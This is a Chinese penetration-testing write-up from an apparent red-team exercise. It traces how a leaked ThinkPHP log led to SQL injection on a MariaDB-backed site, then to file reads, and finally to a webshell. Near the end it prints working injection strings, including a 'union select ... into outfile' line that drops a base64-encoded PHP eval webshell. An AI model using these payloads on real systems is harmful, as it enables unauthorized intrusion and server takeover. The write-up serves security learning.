前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >攻防|记一次日志泄露到GetShell

攻防|记一次日志泄露到GetShell

原创
作者头像
亿人安全
发布2023-11-21 15:14:43
3250
发布2023-11-21 15:14:43
举报
文章被收录于专栏:红蓝对抗红蓝对抗

在一次攻防演练中,遇到这么一个站点 该站点基于ThinkPHP框架开发,且存在日志泄露,故事就从这个日志泄露开始了 信息收集 1. 老话说的好,渗透的本质就是信息收集,而信息搜集整理为后续的情报...

在一次攻防演练中,遇到这么一个站点

该站点基于ThinkPHP框架开发,且存在日志泄露,故事就从这个日志泄露开始了

信息收集

1. 老话说的好,渗透的本质就是信息收集,而信息搜集整理为后续的情报跟进提供了强大的保证,进入该站点发现只有三个功能点,逐个进行查看

图片
图片

2. 进入第一个功能点

。。。发现直接报404,还有条狗看着家

图片
图片

3. 进入第二、三个功能点,发现是一个注册表单,第三个也为404

图片
图片

4. 他写三个难道就只有三个功能嘛?我不信,开扫!

敏感文件这不就来了嘛

图片
图片

5.通过目录扫描发现该站点存在eclipse配置文件泄露

访问/.settings/org.eclipse.core.resources.prefs 获取到项目里的所有功能点

图片
图片

org.eclipse.core.resources.prefs解释

org.eclipse.core.resources.prefs文件其实就是规定项目内的文件的编码用的。一般来说一个项目里的文件编码需要一致,特别是文件文本内容本身无法指示文件本身编码的(比较绕,XML文件第一行能指示自身编码,CSS也有这个能力但用得不多),尽量不要多种编码同时存在(最好在编码规范中禁止多重编码同时存在的现象发生)

Eclipse中.setting目录下文件介绍

6.该站点基于ThinkPHP框架开发,上工具跑出日志泄露

图片
图片

该工具下载地址:

https://github.com/Lotus6/ThinkphpGUI

进行测试

挨个访问功能页面

有两个上传点,尝试上传

图片
图片

发现403了...

图片
图片

7.逛完一圈发现后台路径被改,文件上传403,功能都改了或者删掉了

没头绪。。。

去翻翻日志吧。。。

喔唷~这是啥,这不是我前台测试时打的单引号嘛

日志中居然存在Sql执行语句

图片
图片
图片
图片

8.Sql语句记录到日志中,并发现Sql语句报错信息,语句闭合为 )

这时候就可以靠 ThinkPHP日志泄露 + Sql注入打一个组合拳了,以后谁还敢说ThinkPHP日志泄露没危害的!

图片
图片
图片
图片

9.开始着重对该功能进行测试

因为该功能点有验证码,便对其进行手测,成功获取到MariaDB数据的版本信息,与权限信息

图片
图片
图片
图片

10.开始读文件,可是没有物理路径咋办呢,那就找!

在目录扫描的时候存在一个demo目录,这不就有了吗

图片
图片

11.为啥要读文件呢,因为查权限就没那个必要,还浪费时间,能读就能写。

尝试读取win.ini,跟本地win.ini做对比,发现成功读取到win.ini

图片
图片

12.可是接下来头又痛了,使用order by 判断表列数不回显,且日志不记录Sql语句,有验证码又懒得构造盲注语句了。

图片
图片

那咋办?只能掏笨方法了

13. 先用union select 尝试写一下文件看看报什么错

图片
图片

The used SELECT statements have a different number of columns

提示列数不同,也就是我写的列数不对,继续测试

14. 直接手动判断列数写文件,最终在第9列成功写入文件 从 1) union select 1 into outfile 'xxx\/reg\/upload\/1.php' --+ 

1) union select 1,2,3,4,5,6,7,8,'1' into outfile 'xxx\/reg\/upload\/1.php' --+

图片
图片
图片
图片

写入Webshell

15.

构造语句:

1) union select 1,2,3,4,5,6,7,8,from_base64('PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgnZUp4TExVdk0wVkNKRC9BUERvbFdUODVOVVkvVnRBWUFSUVVHT0E9PScpKSk7Pz4=') into outfile 'xxxx\/reg\/upload\/7fa0b347c86e45522a1d6606731002c9.php' --+

成功获取到Webshell,到后面发现,那条安全狗根本就没用~.~

图片
图片

当然不建议各位用这个笨方法,因为有些表的列数特别多 好几十条,还是得先判断的 结束,拿Shell收工!


原文链接:https://forum.butian.net/share/2509

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 信息收集
  • 进行测试
  • 写入Webshell
相关产品与服务
验证码
腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档